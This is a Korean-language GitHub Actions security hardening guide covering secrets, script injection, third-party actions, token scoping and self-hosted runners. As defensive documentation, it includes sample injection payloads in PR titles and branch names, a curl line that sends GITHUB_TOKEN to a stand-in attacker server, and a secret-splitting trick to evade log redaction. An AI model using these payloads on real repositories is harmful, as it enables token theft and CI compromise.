개요
이 가이드에서는 특정 GitHub Actions 기능에 대한 보안 강화를 구성하는 방법을 설명합니다. GitHub Actions 개념이 익숙하지 않은 경우 "GitHub Actions 이해" 항목을 참조하세요.
비밀 사용
중요한 값은 워크플로 파일에 일반 텍스트로 저장하지 말아야 하며 비밀로 저장하는 것이 좋습니다. 비밀은 조직, 리포지토리 또는 환경 수준에서 구성할 수 있으며 GitHub에 중요한 정보를 저장할 수 있습니다.
비밀은 Libsodium 봉인 상자를 사용하므로 GitHub에 도달하기 전에 암호화됩니다. 이는 UI를 사용하거나 REST API를 통해 비밀을 제출할 때 발생합니다. 이 클라이언트 쪽 암호화는 GitHub의 인프라 내에서 실수로 인한 로깅(예시: 예외 로그 및 요청 로그 등)과 관련된 위험을 최소화하는 데 도움이 됩니다. 비밀이 업로드되면 GitHub에서 암호를 해독하여 워크플로 런타임에 삽입할 수 있습니다.
실수로 인한 공개를 방지하기 위해 GitHub는 실행 로그에 표시되는 비밀을 수정하는 메커니즘을 사용합니다. 이 수정은 Base64와 같은 값의 일반적인 인코딩뿐만 아니라 작업 내에서 사용한 구성된 비밀의 정확한 일치 항목을 찾습니다. 그러나 비밀 값을 변환할 수 있는 여러 가지 방법이 있기 때문에 이 수정이 보장되지는 않습니다. 또한 실행기는 현재 작업 내에서 사용되는 비밀만 수정할 수 있습니다. 따라서 비밀이 수정되도록 하고 비밀과 관련된 다른 위험을 제한하기 위해 따라야 하는 특정 사전 단계와 모범 사례가 있습니다.
- 정형 데이터를 비밀로 사용하지 마세요.
- 정형 데이터로 인해 로그 내에서 비밀 편집이 실패할 수 있습니다. 편집은 주로 특정 비밀 값에 대한 정확한 일치 항목을 찾는 데 의존하기 때문입니다. BLOB예를 들어 JSON, XML 또는 YAML(또는 이와 유사한) BLOB을 사용하여 비밀 값을 캡슐화하지 마세요. 이렇게 하면 비밀이 제대로 수정될 확률이 크게 줄어듭니다. 대신 각 중요한 값에 대한 개별 비밀을 만듭니다.
- 워크플로 내에서 사용되는 모든 비밀 등록
- 워크플로 내에서 다른 중요한 값을 생성하는 데 비밀을 사용하는 경우 생성된 값은 로그에 표시되는 경우 수정되도록 공식적으로 비밀로 등록되어야 합니다. 예를 들어 프라이빗 키를 사용하여 서명된 JWT를 생성하여 웹 API에 액세스하는 경우 해당 JWT를 비밀로 등록해야 합니다. 그렇지 않으면 로그 출력에 들어가면 수정되지 않습니다.
- 비밀 등록은 모든 종류의 변환/인코딩에도 적용됩니다. 비밀이 어떤 방식으로든 변환되는 경우(예시: Base64 또는 URL 인코딩) 새 값도 비밀로 등록해야 합니다.
- 비밀 처리 방법 감사
- 비밀이 예상대로 처리되고 있는지 확인하기 위해 비밀이 사용되는 방법을 감사합니다. 워크플로를 실행하는 리포지토리의 소스 코드를 검토하고 워크플로에 사용된 작업을 확인하여 이 작업을 수행할 수 있습니다. 예를 들어 의도하지 않은 호스트로 보내지거나 로그 출력에 명시적으로 인쇄되지 않는지 확인합니다.
- 유효한 입력 및 유효하지 않은 입력을 테스트한 후 워크플로에 대한 실행 로그를 보고 비밀이 제대로 수정되었거나 표시되지 않는지 확인합니다. 호출하는 명령 또는 도구가
STDOUT
및STDERR
에 오류를 보내고 비밀이 이후에 오류 로그로 끝날 수 있는 방법이 항상 명확하지는 않습니다. 따라서 유효한 입력 및 유효하지 않은 입력을 테스트한 후 워크플로 로그를 수동으로 검토하는 것이 좋습니다. 의도치 않게 중요한 데이터를 포함할 수 있는 워크플로 로그를 정리하는 방법에 대한 자세한 내용은 "워크플로 실행 로그 사용" 항목을 참조하세요.
- 최소 범위의 자격 증명 사용
- 워크플로 내에서 사용되는 자격 증명에 필요한 최소 권한이 있는지 확인하고, 리포지토리에 대한 쓰기 액세스가 있는 모든 사용자에게 리포지토리에 구성된 모든 비밀에 대한 읽기 액세스가 있음을 염두에 두어야 합니다.
- 작업은
GITHUB_TOKEN
컨텍스트에서 액세스하여github.token
을 사용할 수 있습니다. 자세한 내용은 "워크플로 실행에 대한 컨텍스트 정보에 액세스"을(를) 참조하세요. 따라서GITHUB_TOKEN
에 필요한 최소 사용 권한이 부여되었는지 확인해야 합니다.GITHUB_TOKEN
에 리포지토리 콘텐츠에 대해서만 읽기 액세스를 갖는 기본 권한을 설정하는 것이 좋습니다. 그런 다음 필요에 따라 워크플로 파일 내의 개별 작업에 대한 권한을 늘릴 수 있습니다. 자세한 내용은 "자동 토큰 인증"을(를) 참조하세요.
- 등록된 비밀 감사 및 회전
- 등록된 비밀을 주기적으로 검토하여 여전히 필요한지 확인합니다. 더 이상 필요하지 않은 엔드포인트는 제거합니다.
- 비밀을 주기적으로 회전하여 손상된 비밀이 유효한 기간을 줄입니다.
- 비밀 액세스에 대한 검토 요구 고려
- 필요한 검토자를 사용하여 환경 비밀을 보호할 수 있습니다. 즉, 검토자가 승인할 때까지 워크플로 작업이 환경 비밀에 액세스할 수 없습니다. 환경에 비밀을 저장하거나 환경에 대한 검토를 요구하는 방법에 대한 자세한 내용은 "GitHub Actions에서 비밀 사용" 및 "배포 환경 관리" 항목을 참조하세요.
Warning
리포지토리에 대한 쓰기 권한이 있는 모든 사용자는 리포지토리에 구성된 모든 비밀에 대한 읽기 권한을 갖습니다. 따라서 워크플로 내에서 사용되는 자격 증명에 필요한 최소 권한이 있는지 확인해야 합니다.
변경 내용을 모니터링하는 데 CODEOWNERS
사용
CODEOWNERS
기능을 사용하여 워크플로 파일을 변경하는 방법을 제어할 수 있습니다. 예를 들어 .github/workflows
에 모든 워크플로 파일이 저장되어 있는 경우 이 디렉터리를 코드 소유자 목록에 추가할 수 있으므로 해당 파일에 대한 제안된 변경 내용은 먼저 지정된 검토자의 승인이 필요합니다.
자세한 내용은 "코드 소유자 정보"을(를) 참조하세요.
스크립트 삽입의 위험 이해
워크플로, 사용자 지정 작업 및 복합 작업을 만들 때 코드가 공격자의 신뢰할 수 없는 입력을 실행할 수 있는지 항상 고려해야 합니다. 이는 공격자가 악의적인 명령과 스크립트를 컨텍스트에 추가할 때 발생할 수 있습니다. 워크플로가 실행되면 해당 문자열이 실행기에서 실행되는 코드로 해석될 수 있습니다.
공격자는 잠재적으로 신뢰할 수 없는 입력으로 처리되어야 하는 github
컨텍스트에 자신의 악성 콘텐츠를 추가할 수 있습니다. 해당 컨텍스트는 일반적으로 body
, default_branch
, email
, head_ref
, label
, message
, name
, page_name
, ref
및 title
로 끝납니다. 예를 들면 github.event.issue.title
또는 github.event.pull_request.body
입니다.
값이 워크플로, 작업, API 호출 또는 실행 코드로 해석될 수 있는 다른 위치로 직접 전달되지 않도록 해야 합니다. 다른 권한 있는 애플리케이션 코드에 사용하는 것과 동일한 방어 프로그래밍 상태를 채택하면 보안이 GitHub Actions의 사용을 강화하는 데 도움이 될 수 있습니다. 공격자가 수행할 수 있는 몇 가지 단계에 대한 자세한 내용은 "GitHub Actions에 대한 보안 강화" 항목을 참조하세요.
또한 분기 이름 및 메일 주소와 같이 잠재적으로 신뢰할 수 없는 입력의 기타 불분명한 원본이 있으며 이는 허용된 콘텐츠 측면에서 매우 유연할 수 있습니다. 예를 들어 zzz";echo${IFS}"hello";#
는 유효한 분기 이름이고 대상 리포지토리에 대한 가능한 공격 벡터입니다.
다음 섹션에서는 스크립트 삽입의 위험을 완화하는 방법을 설명합니다.
스크립트 삽입 공격의 예
스크립트 삽입 공격은 워크플로의 인라인 스크립트 내에서 직접 발생할 수 있습니다. 다음 예시에서 작업은 식을 사용하여 끌어오기 요청 제목의 유효성을 테스트하지만 스크립트 삽입의 위험도 추가합니다.
- name: Check PR title
run: |
title="${{ github.event.pull_request.title }}"
if [[ $title =~ ^octocat ]]; then
echo "PR title starts with 'octocat'"
exit 0
else
echo "PR title did not start with 'octocat'"
exit 1
fi
이 예시는 run
명령이 실행기에서 임시 셸 스크립트 내에서 실행되므로 스크립트 삽입에 취약합니다. 셸 스크립트를 실행하기 전에 ${{ }}
내의 식이 평가된 다음 결과 값으로 대체되어 셸 명령 삽입에 취약할 수 있습니다.
이 워크플로에 명령을 삽입하기 위해 공격자는 다음과 같이 a"; ls $GITHUB_WORKSPACE"
라는 제목으로 끌어오기 요청을 만들 수 있습니다.
이 예시에서 "
문자는 title="${{ github.event.pull_request.title }}"
문을 중단하여 실행기에서 ls
명령을 실행할 수 있도록 하는 데 사용됩니다. 로그에서 ls
명령의 출력을 볼 수 있습니다.
Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js
스크립트 삽입 공격을 완화하기 위한 모범 사례
스크립트 삽입의 위험을 완화하는 데 사용할 수 있는 다양한 방법이 있습니다.
인라인 스크립트 대신 작업 사용(권장)
컨텍스트 값을 인수로 처리하는 JavaScript 작업을 만드는 것이 좋습니다. 컨텍스트 값은 셸 스크립트를 생성하는 데 사용되지 않고 대신 작업에 인수로 전달되므로 이 방법은 삽입 공격에 취약하지 않습니다.
uses: fakeaction/checktitle@v3
with:
title: ${{ github.event.pull_request.title }}
중간 환경 변수 사용
인라인 스크립트의 경우 신뢰할 수 없는 입력을 처리하는 기본 방법은 식 값을 중간 환경 변수로 설정하는 것입니다.
다음 예시에서는 Bash를 사용하여 github.event.pull_request.title
값을 환경 변수로 처리합니다.
- name: Check PR title
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
if [[ "$TITLE" =~ ^octocat ]]; then
echo "PR title starts with 'octocat'"
exit 0
else
echo "PR title did not start with 'octocat'"
exit 1
fi
이 예시에서 시도된 스크립트 삽입은 실패하며 로그의 다음 줄에 반영됩니다.
env:
TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'
이 방법을 사용하면 ${{ github.event.issue.title }}
식의 값이 메모리에 저장되고 변수로 사용되며 스크립트 생성 프로세스와 상호 작용하지 않습니다. 또한 단어 분할을 방지하기 위해 큰따옴표 셸 변수를 사용하는 것이 좋지만 이는 셸 스크립트를 작성하기 위한 일반적인 권장 사항 중 하나이며 GitHub Actions에 한정되지 않습니다.
code scanning에 대한 워크플로 템플릿 사용
참고: Advanced Security에 대한 워크플로 템플릿이 리포지토리의 작업 탭에 있는 "보안" 범주에 통합되었습니다.
자세한 내용은 "코드 검사 정보" 및 "코드 스캔을 위한 고급 설정 구성" 항목을 참조하세요.
토큰에 대한 권한 제한
노출된 토큰의 위험을 완화하려면 할당된 권한을 제한하는 것이 좋습니다. 자세한 내용은 "자동 토큰 인증"을(를) 참조하세요.
OpenID Connect를 사용하여 클라우드 리소스 액세스
GitHub Actions 워크플로가 OIDC(OpenID Connect)를 지원하는 클라우드 공급자의 리소스에 액세스해야 하는 경우 클라우드 공급자에게 직접 인증하도록 워크플로를 구성할 수 있습니다. 이렇게 하면 이러한 자격 증명을 수명이 긴 비밀로 저장하지 않을 수 있고 다른 보안 이점을 제공할 수 있습니다. 자세한 내용은 "OpenID Connect를 사용한 보안 강화 정보"을 참조하세요.
참고: AWS에서는 OIDC에 대한 사용자 지정 청구와 관련된 지원을 사용할 수 없습니다.
타사 작업 사용
워크플로의 개별 작업은 다른 작업과 상호 작용하고 손상시킬 수 있습니다. 예를 들어, 이후 작업에서 사용하는 환경 변수를 쿼리하거나, 이후 작업에서 처리하는 공유 디렉터리에 파일을 쓰거나, Docker 소켓과 상호 작용하고 실행 중인 다른 컨테이너를 검사하고 명령을 실행하여 더욱 직접적으로 작업합니다.
즉, 손상된 작업이 리포지토리에 구성된 모든 비밀에 액세스할 수 있고 리포지토리에 쓰는 데 GITHUB_TOKEN
을 사용할 수 있기 때문에 워크플로 내에서 단일 작업의 손상이 매우 중요할 수 있습니다. 따라서 GitHub의 타사 리포지토리에서 작업을 소싱할 때 상당한 위험이 있습니다. 공격자가 수행할 수 있는 몇 가지 단계에 대한 자세한 내용은 "GitHub Actions에 대한 보안 강화" 항목을 참조하세요.
다음 모범 사례를 따라하여 이 위험을 완화할 수 있습니다.
-
전체 길이 커밋 SHA에 작업 고정
작업을 전체 길이 커밋 SHA에 고정하는 것은 현재 변경할 수 없는 릴리스로 작업을 사용하는 유일한 방법입니다. 특정 SHA에 고정하면 유효한 Git 개체 페이로드에 대한 SHA-1 충돌을 생성해야 하므로 잘못된 행위자가 작업 리포지토리에 백도어를 추가하는 위험을 완화할 수 있습니다. SHA를 선택할 때는 해당 SHA가 리포지토리 포크가 아닌 작업의 리포지토리에서 온 것인지 확인해야 합니다.
-
작업의 소스 코드 감사
작업이 리포지토리의 콘텐츠 및 비밀을 예상대로 처리하는지 확인합니다. 예를 들어 비밀이 의도하지 않은 호스트로 전송되거나 실수로 기록되지 않는지 확인합니다.
-
작성자를 신뢰하는 경우에만 태그에 작업 고정
커밋 SHA에 고정하는 것이 가장 안전한 옵션이지만 태그를 지정하는 것이 더 편리하며 널리 사용됩니다. 태그를 지정하려면 작업의 작성자를 신뢰해야 합니다. GitHub Marketplace의 ‘확인된 작성자’ 배지는 GitHub가 ID를 확인한 팀에서 작업을 작성했음을 나타내는 유용한 신호입니다. 잘못된 행위자가 작업을 저장하는 리포지토리에 대한 액세스 권한을 얻게 되면 태그를 이동하거나 삭제할 수 있으므로 작성자를 신뢰하더라도 이 접근 방식에는 위험이 있습니다.
타사 워크플로 다시 사용
타사 작업 사용에 대해 위에서 설명한 것과 동일한 원칙이 타사 워크플로 사용에도 적용됩니다. 위에서 설명한 것과 동일한 모범 사례를 따라하여 워크플로 재사용과 관련된 위험을 완화할 수 있습니다. 자세한 내용은 "워크플로 다시 사용"을(를) 참조하세요.
Dependabot version updates를 사용하여 작업을 최신 상태로 유지하기
Dependabot를 사용하여 작업 및 리포지토리에 사용된 재사용 가능한 워크플로에 대한 참조를 최신 상태로 유지할 수 있습니다. 작업은 버그 수정 및 새로운 기능으로 수시로 업데이트되어 자동화된 프로세스의 속도, 안전, 신뢰성을 향상합니다. Dependabot는 자동으로 종속성을 유지 관리하는 작업을 수행하여 드는 노력을 줄여줍니다. 자세한 내용은 "Dependabot을 사용하여 작업을 최신 상태로 유지" 및 "Dependabot 보안 업데이트 정보"의 내용을 참조하세요.
GitHub Actions가 끌어오기 요청을 만들거나 승인하지 못하도록 방지
GitHub Actions 워크플로가 끌어오기 요청을 만들거나 승인하는 것을 허용 또는 차단하도록 선택할 수 있습니다. 워크플로 또는 기타 자동화를 통해 끌어오기 요청을 만들거나 승인하도록 허용하면 적절한 감독 없이 끌어오기 요청이 병합될 경우 보안 위험이 발생할 수 있습니다.
이 설정을 구성하는 방법에 대한 자세한 내용은 "조직의 GitHub Actions 사용 안 함 또는 제한" 및 "리포지토리에 대한 GitHub Actions 설정 관리"을 참조하세요.
OpenSSF 성과 기록표를 사용하여 워크플로 보호
성과 기록표는 위험한 공급망 사례를 표시하는 자동화된 보안 도구입니다. 성과 기록표 작업 및 워크플로 템플릿을 사용하여 모범 보안 사례를 준수할 수 있습니다. 성과 기록표 작업은 구성되면 리포지토리 변경 시 자동으로 실행되며 기본 제공 code scanning 환경을 사용하여 위험한 공급망 사례에 대해 개발자에게 경고합니다. 성과 기록표 프로젝트는 스크립트 삽입 공격, 토큰 사용 권한 및 고정된 작업을 비롯한 다양한 검사를 실행합니다.
손상된 실행기의 잠재적 영향
이 섹션에서는 공격자가 GitHub Actions 실행기에서 악의적인 명령을 실행할 수 있는 경우 수행할 수 있는 몇 가지 단계를 고려합니다.
Note
GitHub 호스트된 실행기는 손상된 타사 라이브러리와 같이 작업 중에 사용자가 다운로드한 악성 코드를 검색하지 않습니다.
비밀에 액세스
pull_request
이벤트를 사용하여 포크된 리포지토리에서 트리거되는 워크플로에는 읽기 전용 권한이 있으며 비밀에 액세스할 수 없습니다. 그러나 사용 권한은 공격자가 리포지토리 비밀을 도용하거나 작업의 GITHUB_TOKEN
의 쓰기 권한을 사용하려고 시도할 수 있는 issue_comment
, issues
, push
및 리포지토리 내 분기의 pull_request
와 같은 다양한 이벤트 트리거와 다릅니다.
-
비밀 또는 토큰이 환경 변수로 설정된 경우
printenv
를 사용하여 환경을 통해 직접 액세스할 수 있습니다. -
비밀이 식에서 직접 사용되는 경우 생성된 셸 스크립트는 디스크에 저장되고 액세스할 수 있습니다.
-
사용자 지정 작업의 경우 프로그램이 인수에서 얻은 비밀을 사용하는 방법에 따라 위험이 달라질 수 있습니다.
uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }}
GitHub Actions은 워크플로(또는 포함된 작업)에서 참조되지 않은 메모리에서 비밀을 스크럽하지만 확인된 공격자가 GITHUB_TOKEN
및 참조된 비밀을 수집할 수 있습니다.
실행기에서 데이터 유출
공격자는 실행기에서 도난당한 비밀 또는 기타 데이터를 유출할 수 있습니다. 실수로 인한 비밀 공개를 방지하기 위해 GitHub Actions은 로그에 인쇄된 비밀을 자동으로 수정하지만 비밀이 의도적으로 로그로 전송될 수 있으므로 이는 진정한 보안 경계가 아닙니다. 예를 들어 난독 처리된 비밀은 echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};
을 사용하여 유출할 수 있습니다. 또한 공격자가 임의의 명령을 실행할 수 있으므로 HTTP 요청을 사용하여 비밀 또는 기타 리포지토리 데이터를 외부 서버로 보낼 수 있습니다.
작업의 GITHUB_TOKEN
도용
공격자가 작업의 GITHUB_TOKEN
을 도용할 수 있습니다. GitHub Actions 실행기는 워크플로가 포함된 리포지토리로만 제한되는 권한으로 생성된 GITHUB_TOKEN
을 자동으로 수신하며, 작업이 완료된 후 토큰이 만료됩니다. 토큰은 만료되면 공격자에게 더 이상 유용하지 않습니다. 제한을 해결하기 위해 예를 들어 a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#
와 같은 토큰을 사용하여 공격자 제어 서버를 호출하여 공격을 자동화하고 1초 단위로 수행할 수 있습니다.
리포지토리의 콘텐츠 수정
공격자 서버는 GITHUB_TOKEN
의 할당된 권한이 제한되지 않은 경우 GitHub API를 사용하여 릴리스를 포함한 리포지토리 콘텐츠를 수정할 수 있습니다.
리포지토리 간 액세스 고려
GitHub Actions은 한 번에 하나의 리포지토리에 대해 의도적으로 범위가 지정됩니다. 모든 쓰기 액세스 사용자가 워크플로 파일을 만들거나 수정하거나, 필요한 경우 GITHUB_TOKEN
의 사용 권한을 승격하여 GITHUB_TOKEN
에 액세스할 수 있으므로 이 토큰은 쓰기 액세스 사용자와 동일한 수준의 액세스 권한을 부여합니다. 사용자는 각 리포지토리에 대해 특정 권한을 가지므로 한 리포지토리에 대한 GITHUB_TOKEN
에 다른 리포지토리에 대한 액세스 권한을 부여하도록 허용 하면 신중하게 구현되지 않은 경우 GitHub 권한 모델에 영향을 줄 수 있습니다. 마찬가지로 워크플로에 GitHub 인증 토큰을 추가할 때는 주의해야 합니다. 이는 공동 작업자에게 광범위한 액세스 권한을 실수로 부여하여 GitHub 권한 모델에도 영향을 줄 수 있기 때문입니다.
엔터프라이즈 계정이 조직을 소유한 경우 내부 리포지토리에 저장하여 GitHub Actions을 공유하고 다시 사용할 수 있습니다. 자세한 내용은 "엔터프라이즈와 작업 및 워크플로 공유"을(를) 참조하세요.
워크플로 내에서GitHub 인증 토큰 또는 SSH 키를 비밀로 참조하여 다른 권한 있는 리포지토리 간 상호 작용을 수행할 수 있습니다. 많은 인증 토큰 유형은 특정 리소스에 대한 세분화된 액세스를 허용하지 않기 때문에 의도한 것보다 훨씬 광범위한 액세스 권한을 부여할 수 있으므로 잘못된 토큰 형식을 사용할 때 상당한 위험이 있습니다.
이 목록에서는 워크플로 내에서 기본 설정의 내림차순으로 리포지토리 데이터에 액세스하는 데 권장되는 방법을 설명합니다.
- 이
GITHUB_TOKEN
- 토큰은 의도적으로 워크플로를 호출한 단일 리포지토리로 범위가 지정되며 리포지토리의 쓰기 액세스 사용자와 동일한 수준의 액세스 권한을 가질 수 있습니다. 토큰은 각 작업이 시작되기 전에 만들어지고 작업이 완료되면 만료됩니다. 자세한 내용은 "자동 토큰 인증"을(를) 참조하세요.
GITHUB_TOKEN
은 가능할 때마다 사용되어야 합니다.
- 리포지토리 배포 키
- 배포 키는 단일 리포지토리에 대한 읽기 또는 쓰기 액세스 권한을 부여하는 유일한 자격 증명 유형 중 하나이며 워크플로 내에서 다른 리포지토리와 상호 작용하는 데 사용할 수 있습니다. 자세한 내용은 "배포 키 관리"을(를) 참조하세요.
- 배포 키는 Git을 사용하여 리포지토리에만 복제하고 푸시할 수 있으며 REST 또는 GraphQL API와 상호 작용하는 데 사용할 수 없으므로 요구 사항에 적합하지 않을 수 있습니다.
- GitHub App 토큰
- GitHub Apps은 선택 리포지토리에 설치할 수 있으며 해당 리포지토리 내의 리소스에 대한 세분화된 권한을 가질 수도 있습니다. 조직 내부 GitHub App을 만들고, 워크플로 내에서 액세스해야 하는 리포지토리에 설치하고, 워크플로 내에서 설치로 인증하여 해당 리포지토리에 액세스할 수 있습니다. 자세한 내용은 "GitHub Actions 워크플로에서 GitHub 앱을 사용하여 인증된 API 요청 만들기"을(를) 참조하세요.
- personal access tokens
- personal access token (classic)을 사용하면 안 됩니다. 토큰은 액세스 권한이 있는 조직 내의 모든 리포지토리와 개인 계정의 모든 개인 리포지토리에 대한 액세스 권한을 부여합니다. 이렇게 하면 워크플로가 있는 리포지토리의 모든 쓰기 액세스 사용자에게 간접적으로 광범위한 액세스 권한이 부여됩니다.
- personal access token을 사용하는 경우 사용자 고유의 계정에서 personal access token을 사용하면 안 됩니다. 나중에 조직을 떠날 경우 이 토큰을 사용하는 워크플로가 즉시 중단되며 이 문제를 디버깅하는 것은 어려울 수 있습니다. 대신 조직에 속해 있고 워크플로에 필요한 특정 리포지토리에만 액세스 권한이 부여된 새 계정에 fine-grained personal access token를 사용해야 합니다. 이 방법은 확장할 수 없으며 배포 키와 같은 대안을 선호하지 않아야 합니다.
- 개인 계정의 SSH 키
- 워크플로는 개인 계정에서 SSH 키를 사용하지 않아야 합니다. personal access tokens (classic)과 마찬가지로 모든 개인 리포지토리 및 조직 구성원 자격을 통해 액세스할 수 있는 모든 리포지토리에 읽기/쓰기 권한을 부여합니다. 이렇게 하면 워크플로가 있는 리포지토리의 모든 쓰기 액세스 사용자에게 간접적으로 광범위한 액세스 권한이 부여됩니다. 리포지토리 복제 또는 푸시만 수행해야 하고 공용 API와 상호 작용할 필요가 없어서 SSH 키를 사용하려는 경우 개별 배포 키를 대신 사용해야 합니다.
GitHub 호스팅 실행기 강화
GitHub 호스팅 실행기는 보안 위험을 완화하는 데 도움이 되는 조치를 취합니다.
GitHub 호스팅 실행기를 위한 공급망 검토하기
GitHub에서 유지 관리하는 이미지로 생성된 GitHub 호스트형 실행기의 경우 소프트웨어 자료 청구서(SBOM)를 확인하여 실행기에 어떤 소프트웨어가 사전 설치되었는지 확인할 수 있습니다. 사용자에게 취약성 스캐너를 통해 실행할 수 있는 SBOM을 제공하여 제품에 취약성이 있는지 확인할 수 있습니다. 아티팩트를 빌드하는 경우 소프트웨어 만드는 데 사용한 모든 항목의 포괄적인 목록에 대한 이 SBOM을 제품 구성 정보에 포함할 수 있습니다.
SBOM은 GitHub에서 유지 관리하는 Ubuntu, Windows 및 macOS 실행기 이미지에 사용할 수 있습니다. https://github.com/actions/runner-images/releases의 릴리스 자산에서 빌드에 대한 SBOM을 찾을 수 있습니다. 파일 이름이 sbom.IMAGE-NAME.json.zip
의 형식인 SBOM은 각 릴리스의 첨부 파일에서 찾을 수 있습니다.
ARM 기반 실행기의 이미지와 같은 제3자 이미지의 경우 actions/partner-runner-images
리포지토리의 이미지에 포함된 소프트웨어의 세부 정보를 찾을 수 있습니다.
호스트에 대한 액세스 거부
GitHub호스트형 실행기는 다양한 암호 화폐 마이닝 풀 및 악성 사이트에 대한 네트워크 액세스를 차단하는 etc/hosts
파일로 프로비전됩니다. MiningMadness.com 및 cpu-pool.com 같은 호스트는 심각한 보안 위험을 초래하지 않도록 localhost로 다시 지정됩니다. 자세한 내용은 "GitHub 호스팅 실행기 사용" 항목을 참조하세요.
자체 호스팅 실행기를 위한 강화
GitHub호스팅 실행기는 임시 완전 격리된 가상 머신 내에서 코드를 실행합니다. 즉, 이 환경을 영구적으로 손상시키거나 부트스트랩 프로세스 중에 이 환경에 배치된 것보다 더 많은 정보에 액세스할 수 있는 방법이 없습니다.
GitHub에 대한 자체 호스트형 실행기는 임시 완전 가상 머신에서의 실행을 보장하지 않으며 워크플로에서 신뢰할 수 없는 코드로 인해 지속적으로 손상될 수 있습니다.
따라서 사용자가 리포지토리에 대한 끌어오기 요청을 열고 환경을 손상시킬 수 있으므로 자체 호스팅 실행기는 GitHub의 퍼블릭 리포지토리에 거의 사용되지 않아야 합니다. 마찬가지로, 리포지토리를 포크하고 끌어오기 요청을 열 수 있는 사람(일반적으로 리포지토리에 대한 읽기 액세스 권한이 있는 사용자)은 비밀 및 GITHUB_TOKEN
에 대한 액세스 권한을 얻는 것을 포함하여, 설정에 따라 리포지토리에 대한 쓰기 권한을 부여할 수 있는 자체 호스트형 실행기 환경을 손상시킬 수 있으므로 프라이빗 또는 내부 리포지토리에서 자체 호스트형 실행기를 사용할 때 주의해야 합니다. 워크플로는 환경 및 필수 검토를 사용하여 환경 비밀에 대한 액세스를 제어할 수 있지만 워크플로는 격리된 환경에서 실행되지 않으며 자체 호스팅 실행기에서 실행될 때 동일한 위험에 여전히 취약합니다.
조직 소유자는 리포지토리 수준의 자체 호스트형 실행기를 만들 수 있는 리포지토리를 선택할 수 있습니다. .
자세한 내용은 "조직의 GitHub Actions 사용 안 함 또는 제한"을(를) 참조하세요.
조직 또는 엔터프라이즈 수준에서 자체 호스팅 실행기를 정의하면 GitHub는 여러 리포지토리에서 동일한 실행기로 워크플로를 예약할 수 있습니다. 따라서 환경의 보안 손상으로 인해 광범위한 영향을 미칠 수 있습니다. 손상 범위를 줄이기 위해 자체 호스팅 실행기를 별도의 그룹으로 구성하여 경계를 만들 수 있습니다. 실행기 그룹에 액세스할 수 있는 조직 및 리포지토리를 제한할 수 있습니다. 자세한 내용은 "그룹을 사용하여 자체 호스트형 실행기에 대한 액세스 관리"을(를) 참조하세요.
자체 호스팅 실행기 머신의 환경도 고려해야 합니다.
- 자체 호스팅 실행기로 구성된 컴퓨터에 있는 중요한 정보는 무엇인가요? 예를 들어 프라이빗 SSH 키, API 액세스 토큰 등이 있습니다.
- 컴퓨터에 중요한 서비스에 대한 네트워크 액세스 권한이 있나요? 예를 들어 Azure 또는 AWS 메타데이터 서비스입니다. 이 환경에서 중요한 정보의 양을 최소한으로 유지해야 하며, 워크플로를 호출할 수 있는 모든 사용자가 이 환경에 액세스할 수 있다는 점을 항상 염두에 두어야 합니다.
일부 고객은 각 작업 실행 후 자체 호스팅 실행기를 자동으로 삭제하는 시스템을 구현하여 해당 위험을 부분적으로 완화하려고 시도할 수 있습니다. 그러나 자체 호스팅 실행기에서 하나의 작업만 실행하도록 보장할 방법이 없으므로 이 방법은 의도한 만큼 효과적이지 않을 수 있습니다. 일부 작업은 같은 실행기에서 실행되는 다른 작업에서 볼 수 있는 명령줄 인수(예시: ps x -w
)로 비밀을 사용합니다. 이로 인해 비밀 누출이 발생할 수 있습니다.
Just-In-Time 실행기 사용하기
실행기 등록 보안을 개선하기 위해 REST API를 사용하여 JIT(JUST-In-Time) 실행기를 만들 수 있습니다. 이러한 자체 호스팅 실행기는 리포지토리, 조직 또는 엔터프라이즈에서 자동으로 제거되기 전에 최대 하나의 작업을 수행합니다. JIT 실행기 구성에 대한 자세한 내용은 "자체 호스트형 실행기에 대한 REST API 엔드포인트" 항목을 참조하세요.
Note
하드웨어를 다시 사용하여 JIT 실행기를 호스트하면 환경에서 정보를 노출할 위험이 있습니다. 자동화를 사용하여 JIT 실행기가 정리된 환경을 사용하는지 확인합니다. 자세한 내용은 "자체 호스트형 실행기로 자동 스케일링"을(를) 참조하세요.
REST API 응답에 구성 파일이 있으면 시작할 때 실행기에 전달할 수 있습니다.
./run.sh --jitconfig ${encoded_jit_config}
자체 호스팅 실행기를 위한 관리 전략 계획
자체 호스팅 실행기를 GitHub 계층 구조의 다양한 수준(엔터프라이즈, 조직 또는 리포지토리 수준)에 추가할 수 있습니다. 이 배치는 실행기를 관리할 수 있는 사용자를 결정합니다.
중앙 집중식 관리
- 중앙 집중식 팀이 자체 호스트 실행기를 소유하도록 하려는 경우 가장 높은 상호 조직 또는 엔터프라이즈 수준에서 실행기를 추가하는 것이 좋습니다. 이를 통해 팀은 실행기를 보고 관리할 수 있는 단일 위치가 생깁니다.
- 단일 조직만 있는 경우 조직 수준에서 실행기를 추가하는 것은 사실상 동일한 방법이지만 나중에 다른 조직을 추가하면 문제가 발생할 수 있습니다.
탈중앙 집중식 관리
- 각 팀이 자체 호스팅 실행기를 관리하는 경우 가장 높은 수준의 팀 소유권에서 실행기를 추가하는 것이 좋습니다. 예를 들어 각 팀이 자체 조직을 소유하는 경우 실행기도 조직 수준에서 추가하면 가장 간단합니다.
- 리포지토리 수준에서 실행기를 추가할 수도 있지만 리포지토리 간에 실행기를 공유할 수 없으므로 관리 오버헤드가 추가되고 필요한 실행기 수도 증가합니다.
클라우드 공급자에 인증
GitHub Actions을 사용하여 클라우드 공급자에게 배포하거나 비밀 관리에 HashiCorp Vault를 사용하려는 경우 OpenID Connect를 사용하여 워크플로 실행에 대한 단기의, 넓은 범위의 액세스 토큰을 만드는 것이 좋습니다. 자세한 내용은 "OpenID Connect를 사용한 보안 강화 정보"을(를) 참조하세요.
GitHub Actions 이벤트 감사
보안 로그를 사용하여 사용자 계정에 대한 활동을 모니터링하고 감사 로그를 사용하여 조직의 활동을 모니터링할 수 있습니다. 보안 및 감사 로그는 작업 유형, 실행 시기 및 작업을 수행한 개인 계정을 기록합니다.
예를 들어 감사 로그를 사용하여 조직 비밀에 대한 변경 내용을 추적하는 org.update_actions_secret
이벤트를 추적할 수 있습니다.
